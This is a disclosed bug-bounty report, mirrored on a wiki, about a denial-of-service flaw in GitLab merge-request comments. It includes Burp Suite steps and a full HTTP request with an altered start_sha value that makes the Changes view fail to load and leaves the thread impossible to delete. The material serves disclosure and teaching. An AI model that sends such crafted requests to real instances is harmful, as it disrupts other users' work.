Skip to content
DoS Disclosed report Intermediate

Invalid 'start_sha' value in POST `/{group}/{project}/-/merge_requests/{id}/drafts` when comment on merge requests leads to changes unable to load

The start_sha value in a draft note position was not validated, allowing an attacker to submit a comment with an invalid start_sha. This caused the Changes menu to fail loading and prevented deletion of the thread, even by an admin.

GitLab

Originally disclosed on GitLab

  • Fixed in 15 days
  • Disclosed after 15 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2058514 by toukakirishima on 2023-07-09, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

I found a DOS vulnerability when comment on file merge requests (on the Changes menu). I noticed if start_sha is not validated first it causes DOS (user can't load file on Changes menu and cant delete the thread).

Normally you can delete threads that you have created.

gambar.png
gambar.png From the original on GitLab

And can load files on Changes menu.

gambar.png
gambar.png From the original on GitLab

But as an attacker I can make the victim unable to load file on Changes menu and cant delete the thread. Even admin can't delete thread.

gambar.png
gambar.png From the original on GitLab
Screenshot_10.png
Screenshot_10.png

Let's say Touka Attacker is the attacker and Touka Kirishima is the victim.

gambar.png
gambar.png From the original on GitLab

And Touka Kirishima (victim) made Merge requests.

gambar.png
gambar.png From the original on GitLab
Steps to reproduce
  1. Go to merge requests
gambar.png
gambar.png From the original on GitLab
  1. Go to Changes menu
Screenshot_12.png
Screenshot_12.png From the original on GitLab
  1. Comment on this file
gambar.png
gambar.png From the original on GitLab
  1. Click Start a review and makesure burpsuite is on. You will see request like following, Example :
gambar.png
gambar.png From the original on GitLab
POST /toukak/aaaa/-/merge_requests/4/drafts HTTP/2  
Host: gitlab.com  
Cookie: x  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: application/json, text/plain, */*  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/toukak/aaaa/-/merge_requests/4/diffs  
X-Csrf-Token: x  
X-Requested-With: XMLHttpRequest  
Content-Type: application/json  
Content-Length: 707  
Origin: https://gitlab.com  
Dnt: 1  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers

{"line_type":"old","merge_request_diff_head_sha":"d5d27e5e75cb66f567f39c7fe8ea2daea67f03a9","in_reply_to_discussion_id":"","note_project_id":"","target_type":"merge_request","target_id":235434679,"return_discussion":true,"draft_note":{"note":"Hehe","position":"{\"base_sha\":\"fe0ced6306a3fe0b992d2c4a9204169c1538279f\",\"start_sha\":\"fe0ced6306a3fe0b992d2c4a9204169c1538279f\",\"head_sha\":\"d5d27e5e75cb66f567f39c7fe8ea2daea67f03a9\",\"old_path\":\"hehe\",\"new_path\":\"hehe\",\"position_type\":\"file\",\"old_line\":null,\"new_line\":null,\"line_range\":{},\"ignore_whitespace_change\":false}","noteable_type":"MergeRequest","noteable_id":235434679,"commit_id":null,"type":"DiffNote","line_code":null}}  
gambar.png
gambar.png From the original on GitLab
  1. Send to Repeater
  2. Change start_sha. Example :
POST /toukak/aaaa/-/merge_requests/4/drafts HTTP/2  
Host: gitlab.com  
Cookie: x  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: application/json, text/plain, */*  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/toukak/aaaa/-/merge_requests/4/diffs  
X-Csrf-Token: x  
X-Requested-With: XMLHttpRequest  
Content-Type: application/json  
Content-Length: 707  
Origin: https://gitlab.com  
Dnt: 1  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers

{"line_type":"old","merge_request_diff_head_sha":"d5d27e5e75cb66f567f39c7fe8ea2daea67f03a9","in_reply_to_discussion_id":"","note_project_id":"","target_type":"merge_request","target_id":235434679,"return_discussion":true,"draft_note":{"note":"Hehe","position":"{\"base_sha\":\"fe0ced6306a3fe0b992d2c4a9204169c1538279f\",\"start_sha\":\"fe0ced6306a3fe0b992d2c4a9204169c15382791\",\"head_sha\":\"d5d27e5e75cb66f567f39c7fe8ea2daea67f03a9\",\"old_path\":\"hehe\",\"new_path\":\"hehe\",\"position_type\":\"file\",\"old_line\":null,\"new_line\":null,\"line_range\":{},\"ignore_whitespace_change\":false}","noteable_type":"MergeRequest","noteable_id":235434679,"commit_id":null,"type":"DiffNote","line_code":null}}  
Screenshot_13.png
Screenshot_13.png From the original on GitLab
  1. Click Send
  2. Finish and Submit review
gambar.png
gambar.png From the original on GitLab
  1. Reload the page and you unable to load file on Changes menu and cant delete the thread

POV from Attacker

gambar.png
gambar.png From the original on GitLab
Screenshot_14.png
Screenshot_14.png

POV from Victim

Screenshot_15.png
Screenshot_15.png From the original on GitLab
Screenshot_16.png
Screenshot_16.png
POC
bandicam_2023-07-09_19-04-28-764.mp4 From the original on GitLab
Relevant logs and/or screenshots

TypeError: this.discussion.diff_file is null diffViewerMode diff_with_note.vue:44 VueJS 3 get evaluate Gr isTextFile diff_with_note.vue:56 VueJS 3 get evaluate Gr U diff_with_note.vue:1 VueJS 52 _render r get t mount $mount init d d g d g d g d g d g d Lo _update r get t mount $mount init d d Lo _update r get t mount $mount init d d D E E E E Lo _update r get run mr Cn _n instrument.js:108:32 kt instrument.js:108 VueJS 55 mn gn pn _render r get t mount $mount init d d g d g d g d g d g d Lo _update r get t mount $mount init d d Lo _update r get t mount $mount init d d D E E E E Lo _update r get run mr Cn _n

Output of checks

This bug happens on GitLab.com

Impact

  • Attacker can make the victim unable to load file on Changes menu.
  • Attacker can make the victim cant delete the thread. Even admin can't delete thread.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server did not validate the start_sha field in the draft note position, allowing an invalid value to be stored and later cause a frontend error.

Impact

An attacker could make the victim unable to load files on the Changes menu and unable to delete the thread, even an admin could not delete it.

What the attacker needed

Attacker can comment on the merge request; victim has a merge request

How it was found

  1. Go to the merge request and open the Changes menu.
  2. Comment on a file and start a review with Burp Suite running to capture the request.
  3. Send the captured request to Repeater.
  4. Change the start_sha value in the request body.
  5. Send the modified request and finish submitting the review.
  6. Reload the page; the Changes menu fails to load and the thread cannot be deleted.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you comment on a merge request, the server stores information about which version of the file you commented on, including a value called start_sha. If that value is not checked, an attacker can put in a wrong value, and then the page that shows the file changes breaks and the comment cannot be removed. This is a denial-of-service (DoS) because it stops people from using that part of the site.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.